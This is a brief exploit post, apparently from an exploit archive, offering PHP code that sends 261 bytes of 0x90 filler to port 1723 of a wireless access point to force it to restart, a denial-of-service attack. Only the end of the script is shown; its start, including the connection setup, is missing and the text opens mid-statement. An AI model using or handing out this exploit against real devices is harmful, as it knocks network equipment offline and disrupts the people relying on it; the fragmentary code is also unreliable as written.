Attacking port 1723(flood), it restarts the device almost instantly, here's the code in PHP.
It takes a few bytes for the AP to automatically restart

\n";
} else {
    $trash = str_repeat("\x90","261");
    fwrite($con, $trash);
    while (!feof($con)) {
        echo "$trash \r\n";
    }
    fclose($con);
}
?>